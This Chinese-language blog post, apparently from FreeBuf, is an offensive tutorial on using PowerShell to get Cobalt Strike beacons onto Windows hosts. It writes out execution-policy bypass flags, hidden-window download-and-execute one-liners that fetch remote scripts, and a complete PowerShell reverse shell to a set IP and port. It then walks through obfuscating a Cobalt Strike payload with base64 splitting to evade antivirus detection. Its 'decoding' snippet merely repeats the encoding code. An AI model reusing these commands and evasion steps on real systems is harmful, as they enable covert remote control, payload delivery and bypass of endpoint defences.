freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透学习|powershell上线cs
2024-11-08 17:02:19
所属地 台湾省

powershell上线cs

1、前置知识

1.1、powershell常见命令介绍

-Command 需要执行的代码
-ExecutionPolicy 设置默认的执行策略,一般使用Bypass
-EncodedCommand 执行Base64代码
-File 这是需要执行的脚本名
-NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo 不输出PS的Banner信息
-Noninteractive 不开启交互式的会话
-NoProfile 不使用当前用户使用的配置文件
-Sta 以单线程模式启动ps
-Version 设置用什么版本去执行代码
-WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden

1.2、关键参数详解

  • -command/encodedcommand:命令执行参数

-command(-c)用法:powershell.exe -command ls

-encodedcommand(-enc)用法:powershell.exe -encodedcommand base64命令

$fileContent = "所要编码的脚本"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand

保存以上脚本为*.ps1,执行powershell *.ps1可以获取base64加密的命令。

1731055856_672dd0f0b7d03e89ef96e.png!small?1731055857676

执行命令:

1731055863_672dd0f79b0dffc505ab3.png!small

  • -executionpolicy(-ep):设置执行策略

-executionpolicy(-ep) 用法:powershell.exe -executionpolicy 策略

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

windows默认执行策略为Restricted,因此在执行脚本时会存在报错行为。

powershell 2.ps1

1731055926_672dd136b31f9f1adb590.png!small?1731055928316

使用-executionpolicy结合策略可以进行绕过。

powershell -executionpolicy bypass 2.ps1

1731055931_672dd13b43d4cc08f0f17.png!small?1731055931985

Get-ExecutionPolicy可以查询当前策略

powershell Get-ExecutionPolicy

1731055938_672dd14294039e7dbc752.png!small?1731055939546

Set-ExecutionPolicy 可以设置当前策略

powershell Get-ExecutionPolicy 策略

1731055946_672dd14a40ba03395dec9.png!small?1731055949289

  • invove-expression(IEX):接受字符串,执行命令。

powershell IEX('命令')用法:执行字符串内容。

1731055951_672dd14f989266a2e8156.png!small?1731055952290

常见用法:

powershell IEX(New-Object Net.WebClient).DownloadString("http://xxxx/1.ps1")

1.ps1:

1731055956_672dd1545b25c5b0c08e1.png!small?1731055958505

远程访问并执行1.ps

1731055961_672dd1599fcab99d20356.png!small?1731055962664

文件下载:

powershell (Invoke-WebRequest -Uri "http://xxx/1.ps1"-OutFile "C:/1.ps1")

1731055967_672dd15f65cf4cfa0f188.png!small?1731055968167

1731055976_672dd168779c0df12be12.png!small?1731055977702

powershell (new-object System.Net.WebClient).DownloadFile('http://xxx/1.ps1','C:/1.ps1')

1731055982_672dd16e8bb2bf63e60fc.png!small?1731055983120

1731055987_672dd17319379d5dd73ed.png!small?1731055988233

  • -noprofile(nop):不使用当前用户使用的配置文件

常见用法:

powershell -noprofile

1731055996_672dd17c674e7d32aafdc.png!small?1731055997405

2、powershell实战常见命令

本地执行:

  • exe -ExecutionPolicy Bypass -File xxx.ps1

绕过本地权限执行文件

  • exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1

本地隐藏绕过权限执行脚本

远程执行:

  • exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

用IEX下载远程PS1脚本绕过权限执行

  • exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://xx/a'))"

cs上线命令

1731056019_672dd1930d9f24e1e4803.png!small?17310560196391731056023_672dd1974cfa5ede62215.png!small?1731056025069


powershell反弹shell:

powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

1731056052_672dd1b47d1a0dfdfccbf.png!small?1731056053162

1731056058_672dd1badef4a95e3f3e9.png!small?1731056059538



3、powershell上线cs之免杀

方法一:混淆免杀

步骤一:使用cs生成payload:*.ps1

1731056074_672dd1ca21a1f7799e5e5.png!small?1731056074968

1731056079_672dd1cfa291803afbfff.png!small?1731056080385

当前查杀率:

1731056085_672dd1d56cc2e348ab89c.png!small?1731056086050

步骤二:打开*.ps1,将$DoIt参数值进行base64混淆处理。

1731056094_672dd1de3b4c0cc4c2846.png!small?1731056095330

编码代码:

$string='$DoIt参数值'
$bytes  = [System.Text.Encoding]::UTF8.GetBytes($string);
$encoded = [System.Convert]::ToBase64String($bytes);
$encoded > 2.txt

解码代码:

$string='$DoIt参数值'
$bytes  = [System.Text.Encoding]::UTF8.GetBytes($string);
$encoded = [System.Convert]::ToBase64String($bytes); 
$encoded > 2.txt


步骤三:首先对$DoIt参数值进行base64编码。

1731056160_672dd2208591e86991d99.png!small?1731056163905

1731056162_672dd222890e9b00175e5.png!small?1731056163905

步骤四:构造解码代码,其中$decode等效于最原始的$DoIt

1731056167_672dd227590c63593c51e.png!small?1731056167910

使用如上格式修改*.ps1

1731056175_672dd22feaae41aace726.png!small?1731056177105

步骤五:执行修改后的ps1文件,可以直接上线cs

1731056190_672dd23e734ec914c6f1d.png!small

查杀率:

1731056199_672dd2472100b9420fc30.png!small?1731056200088

步骤六:删除Set-StrictMode -Version 2,可以看到查杀率为2

1731056206_672dd24e7379b3ad8ab05.png!small?1731056207758

1731056211_672dd2533d7c3ef4e93c4.png!small?1731056211966

步骤七:将base64字段分开,可以完全绕过并可以上线cs。

1731056217_672dd25939712a8389f0d.png!small?1731056218115


查杀率(暂时绕不过赛门铁克,待补充):

1731056226_672dd262ebdc43fc6587e.png!small?1731056227616

# 系统安全 # 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录